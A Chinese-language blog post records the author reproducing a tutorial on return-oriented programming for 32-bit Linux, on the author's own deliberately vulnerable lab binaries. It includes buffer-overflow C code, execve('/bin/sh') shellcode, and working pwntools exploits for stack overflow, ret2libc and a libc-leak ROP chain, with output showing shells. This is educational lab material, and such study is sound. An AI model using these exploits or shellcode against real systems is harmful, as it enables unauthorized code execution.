这篇博客记录我跟着蒸米大神的文章一步一步学ROP之Linux_x86学习ROP的过程。在进行复现的时候,遇到了一些问题,文章中会提到。
0x00 序 ROP
的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法,欢迎大家继续学习。
小编备注
:文中涉及代码可在文章最后的github链接找到。
0x01 Control Flow Hijack 程序流劫持 比较常见的程序流劫持
就是栈溢出
,格式化字符串攻击
和堆溢出
了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP
(堆栈不可执行),ASLR
(内存地址随机化),Stack Protector
(栈保护)等。但是如果上来就部署全部的防御,初学者可能会觉得无从下手,所以我们先从最简单的没有任何保护的程序开始,随后再一步步增加各种防御措施,接着再学习绕过的方法,循序渐进。
首先来看这个有明显缓冲区溢出
的程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 256 ); } int main (int argc, char ** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n" , 13 ); }
这里我们用下列命令进行编译
1 gcc -fno-stack-protector -z execstack -o level1 level1.c
这个命令编译程序。-fno-stack-protector
和-z execstack
这两个参数会分别关掉Stack Protector(GS、canary)
和DEP(NX)
。
同时我们在shell中执行:
1 2 3 sudo -s echo 0 > /proc/sys/kernel/randomize_va_spaceexit
这几个指令。执行完后我们就关掉整个linux系统的ASLR
保护。
接下来我们开始对目标程序进行分析。首先我们先来确定溢出点
的位置,这里我推荐使用pattern.py
这个脚本来进行计算。我们使用如下命令:
1 python pattern.py create 150
来生成一串测试用的150个字节的字符串:
1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
随后我们使用gdb ./level1
调试程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pwndbg> run Starting program: /home/buffer/桌面/practice/ROP_x86/0x01/level1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Program received signal SIGSEGV, Segmentation fault. Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x37654136 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────── *EAX 0x97 EBX 0x0 *ECX 0xffffcd90 ◂— 0x41306141 ('Aa0A' ) *EDX 0x100 *EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */ *ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */ *EBP 0x65413565 ('e5Ae' ) *ESP 0xffffce20 ◂— 0x41386541 ('Ae8A' ) *EIP 0x37654136 ('6Ae7' ) ───────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────── Invalid address 0x37654136
我们可以得到内存出错
的地址为0x37654136
。随后我们使用命令:
1 2 3 python pattern.py offset 0x37654136 hex pattern decoded as: 6Ae7 140
就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret
字符串,就可以让pc执行ret地址上的代码了。
接下来我们需要一段shellcode
,可以用msf生成
,或者自己反编译一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 # execve ("/bin/sh" ) # xor ecx, ecx # mul ecx # push ecx # push 0x68732f2f ;; hs # push 0x6e69622f ;; nib/ # mov ebx, esp # mov al, 11 # int 0x80 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80"
这里我们使用一段最简单的执行execve ("/bin/sh")
命令的语句作为shellcode。
溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:
1 2 [shellcode][“AAAAAAAAAAAAAA”….][ret] ^------------------------------------------------|
对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置
,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?
最简单的方法就是开启core dump
这个功能。
1 2 ulimit -c unlimitedsudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。这里的核心转储只在当前终端下有效
,关闭终端自动恢复默认状态(关闭)。
如果想让核心转储功能永久开启
,可以修改文件/etc/security/limits.conf ,增加一行:
1 2 #<domain> <type> <item> <value> * soft core unlimited
通过修改 /proc/sys/kernel/core_uses_pid ,可以使生成的核心转储文件名变为 core.[pid]
的模式。
1 echo 1 > /proc/sys/kernel/core_uses_pid
还可以修改 /proc/sys/kernel/core_pattern 来控制生成核心转储文件的保存位置
和文件名格式
。
1 echo /tmp/core-%e-%p-%t > /proc/sys/kernel/core_pattern
此时生成的文件保存在 /tmp/ 目录下,文件名格式为 core-[filename]-[pid]-[time]
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 $ ./level1 ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 段错误 (核心已转储) $ gdb level1 /tmp/core.1525946343 pwndbg: loaded 170 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase , $ida gdb functions (can be used with print /break ) Reading symbols from level1...(no debugging symbols found)...done . [New LWP 10716] Core was generated by `./level1'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x41414141 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────── EAX 0x9e EBX 0x0 ECX 0xffffce70 ◂— 0x44434241 (' ABCD') EDX 0x100 EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 EBP 0x41414141 (' AAAA') ESP 0xffffcf00 ◂— 0x41414141 (' AAAA') EIP 0x41414141 (' AAAA') ───────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────── Invalid address 0x41414141 pwndbg> x/10s $esp-144 0xffffce70: "ABCD", ' A' <repeats 11 times>... 0xffffce7f: ' A' <repeats 15 times>... 0xffffce8e: ' A' <repeats 15 times>... 0xffffce9d: ' A' <repeats 15 times>...
因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer
的地址为$esp-144
。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xffffce70
。这里在我的环境里是这个地址值,和大佬的值相差很大,应该是环境的问题。最坑的是,前面我在普通用户下复现的,shell是zsh
,exp死活执行不成功,思考了很长一段时间。最后在将shell切换成bash
后,执行成功了。
切换shell的命令:
1 2 3 4 5 chsh -s /bin/bash chsh -s /bin/zsh
OK,现在溢出点
,shellcode
和返回值地址
都有了,可以开始写exp了。写exp的话,我强烈推荐pwntools这
个工具,因为它可以非常方便的做到本地调试和远程攻击的转换。本地测试成功后只需要简单的修改一条语句就可以马上进行远程攻击。
1 2 p = process('./level1' ) p = remote('127.0.0.1' ,10001 )
最终本地测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p = process('./level1' ) ret = 0xffffce70 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret) p.send(payload) p.interactive()
执行exp:
1 2 3 4 5 6 $ python level1_exp.py [+] Starting local process './level1' : pid 2633 [*] Switching to interactive mode $ whoami root $
接下来我们把这个目标程序作为一个服务绑定
到服务器的某个端口
上,这里我们可以使用socat
这个工具来完成,命令如下:
1 socat TCP4-LISTEN:10001,fork EXEC:./level1
随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001
来访问我们的目标程序服务了。
因为现在目标程序是跑在socat的环境
中,exp脚本除了要把p = process(‘./level1’)换成p = remote(‘127.0.0.1’,10001) 之外,ret的地址还会发生改变。解决方法还是采用生成core dump
的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出
啦!
1 2 3 4 5 6 $ python level1_exp.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode $ whoami buffer $
0x02 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护 现在我们把DEP打开
,依然关闭stack protector
和ASLR
。编译方法如下:
1 gcc -fno-stack-protector -o level2 level2.c
这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1
的stack
是rwx
的,但是level2
的stack
却是rw
的。
1 2 level1: bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] level2: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
那么如何执行shellcode呢?我们知道level2调用了libc.so
,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)
的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()
这个函数的地址
以及”/bin/sh”
这个字符串的地址
。
如果关掉了ASLR
的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的
。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print
和searchmem
命令来查找system和”/bin/sh”字符串的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ gdb level2 pwndbg> b main Breakpoint 1 at 0x804846e pwndbg> run Starting program: /home/buffer/桌面/practice/ROP_x86/0x02/level2 ...... ► f 0 804846e main+14 f 1 f7e1a637 __libc_start_main+247 Breakpoint main pwndbg> print system $1 = {<text variable, no debug info>} 0xf7e3cda0 <__libc_system>pwndbg> print __libc_start_main $2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xf7e1a540 <__libc_start_main>pwndbg> searchmem "/bin/sh" Searching for '/bin/sh' in : None ranges Found 1 results, display max 1 items: libc : 0xf7f5da0b ("/bin/sh" )
我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so
在内存中的起始位置
,接下来我们可以通过searchmem命令来查找”/bin/sh”这个字符串。这样我们就得到了system
的地址0xf7e3cda0
以及"/bin/sh"
的地址0xf7f5da0b
。下面我们开始写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = process('./level2' ) ret = 0xdeadbeef systemaddr=0xf7e3cda0 binshaddr=0xf7f5da0b payload = 'A' *140 + p32(systemaddr) + p32(ret) + p32(binshaddr) p.send(payload) p.interactive()
要注意的是system()后面
跟的是执行完system函数后要返回地址
,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:
1 2 3 4 5 $ python level2_exp.py [+] Starting local process './level2' : pid 5659 [*] Switching to interactive mode $ whoami buffer
OK。测试成功。
0x03 ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护 接下来我们打开ASLR
保护。
1 2 sudo -s echo 2 > /proc/sys/kernel/randomize_va_space
现在我们再回头测试一下level2的exp,发现已经不好用了。
1 2 3 4 5 6 7 $ python level2_exp.py [+] Starting local process './level2' : pid 5731 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ whoami [*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 5731) [*] Got EOF while sending in interactive
如果你通过sudo cat /proc/[pid]/maps
或者ldd
查看,你会发现level2的libc.so
地址每次都是变化的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 cat /proc/[第1次执行的level2的pid]/maps f7d63000-f7f13000 r-xp 00000000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so f7f13000-f7f15000 r--p 001af000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so f7f15000-f7f16000 rw-p 001b1000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so cat /proc/[第2次执行的level2的pid]/maps f7d66000-f7f16000 r-xp 00000000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so f7f16000-f7f18000 r--p 001af000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so f7f18000-f7f19000 rw-p 001b1000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so cat /proc/[第3次执行的level2的pid]/maps f7d4f000-f7eff000 r-xp 00000000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so f7eff000-f7f01000 r--p 001af000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so f7f01000-f7f02000 rw-p 001b1000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so
1 2 3 4 5 6 7 8 $ ldd level2 linux-gate.so.1 => (0xf7f56000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d81000) /lib/ld-linux.so.2 (0xf7f58000) $ ldd level2 linux-gate.so.1 => (0xf7f1b000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d46000) /lib/ld-linux.so.2 (0xf7f1d000)
那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏
出libc.so某些函数
在内存中的地址,然后再利用泄漏出的函数地址根据偏移量
计算出system()函数
和/bin/sh字符串
在内存中的地址,然后再执行我们的ret2libc
的shellcode。既然栈,libc,heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身
在内存中的地址并不是随机的
,如图所示:
Linux内存随机化分布图
所以我们只要把返回值设置到程序本身
就可执行我们期望的指令了。首先我们利用objdump
来查看可以利用的plt函数
和函数对应的got表
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 $ objdump -d -j .plt level2 Disassembly of section .plt: 080482f0 <read @plt-0x10>: 80482f0: ff 35 04 a0 04 08 pushl 0x804a004 80482f6: ff 25 08 a0 04 08 jmp *0x804a008 80482fc: 00 00 add %al,(%eax) ... 08048300 <read @plt>: 8048300: ff 25 0c a0 04 08 jmp *0x804a00c 8048306: 68 00 00 00 00 push $0x0 804830b: e9 e0 ff ff ff jmp 80482f0 <_init+0x28> 08048310 <__libc_start_main@plt>: 8048310: ff 25 10 a0 04 08 jmp *0x804a010 8048316: 68 08 00 00 00 push $0x8 804831b: e9 d0 ff ff ff jmp 80482f0 <_init+0x28> 08048320 <write@plt>: 8048320: ff 25 14 a0 04 08 jmp *0x804a014 8048326: 68 10 00 00 00 push $0x10 804832b: e9 c0 ff ff ff jmp 80482f0 <_init+0x28> $ objdump -R level2 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 0804a00c R_386_JUMP_SLOT read @GLIBC_2.0 0804a010 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a014 R_386_JUMP_SLOT write@GLIBC_2.0
我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()
和write@plt()
函数。但因为程序本身并没有调用system()
函数,所以我们并不能直接调用system()
来获取shell
。但其实我们有write@plt()
函数就够了,因为我们可以通过write@plt ()
函数把write()
函数在内存中的地址也就是write.got
给打印出来。既然write()函数实现是在libc.so
当中,那我们调用的write@plt()
函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定
技术,当我们调用write@plit()
的时候,系统会将真正的write()函数地址link
到got表的write.got
中,然后write@plit()会根据write.got 跳转到真正的write()函数
上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)
因为system()
函数和write()
在libc.so
中的offset(相对地址)
是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()
在内存中的地址
了。然后我们再将pc指针return
回vulnerable_function()函数,就可以进行ret2libc溢出攻击
,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。
使用ldd
命令可以查看目标程序调用的so库。随后我们把libc.so
拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:
1 2 3 4 5 $ ldd level2 linux-gate.so.1 => (0xf7f84000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7daf000) /lib/ld-linux.so.2 (0xf7f86000) $ cp /lib/i386-linux-gnu/libc.so.6 .
最后exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *libc = ELF('libc.so' ) elf = ELF('level2' ) p = remote('127.0.0.1' , 10003 ) plt_write = elf.symbols['write' ] print 'plt_write= ' + hex(plt_write)got_write = elf.got['write' ] print 'got_write= ' + hex(got_write)vulfun_addr = 0x08048471 print 'vulfun= ' + hex(vulfun_addr)payload1 = 'a' *140 + p32(plt_write) + p32(vulfun_addr) + p32(1 ) +p32(got_write) + p32(4 ) print "\n###sending payload1 ...###" p.send(payload1) print "\n###receving write() addr...###" write_addr = u32(p.recv(4 )) print 'write_addr=' + hex(write_addr)print "\n###calculating system() addr and \"/bin/sh\" addr...###" system_addr = write_addr - (libc.symbols['write' ] - libc.symbols['system' ]) print 'system_addr= ' + hex(system_addr)binsh_addr = write_addr - (libc.symbols['write' ] - next(libc.search('/bin/sh' ))) print 'binsh_addr= ' + hex(binsh_addr)payload2 = 'a' *140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr) print "\n###sending payload2 ...###" p.send(payload2) p.interactive()
接着我们使用socat
把level2绑定到10003端口
:
1 socat TCP4-LISTEN:10003,fork EXEC:./level2
最后执行我们的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ python level3_exp.py [*] '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x86/0x03/libc.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x86/0x03/level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to 127.0.0.1 on port 10003: Done write_plt= 0x8048320 write_got= 0x804a014 vulfun_addr= 0x8048471 write_addr= 0xf7df3b70 system_addr= 0xf7d58da0 binsh_addr= 0xf7e79a0b [*] Switching to interactive mode $ whoami buffer
0x04 小结 本章简单介绍了ROP攻击
的基本原理,由于篇幅原因,我们会在随后的文章中会介绍更多的攻击技巧:如何利用工具寻找gadgets
,如何在不知道对方libc.so版本
的情况下计算offset
;如何绕过Stack Protector
等。欢迎大家到时继续学习。另外本文提到的所有源代码和工具都可以从我的github下载:
0x05 参考文献
The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86)
picoCTF 2013: https://github.com/picoCTF/2013-Problems
Smashing The Stack For Fun And Profit: http://phrack.org/issues/49/14.html
程序员的自我修养
ROP轻松谈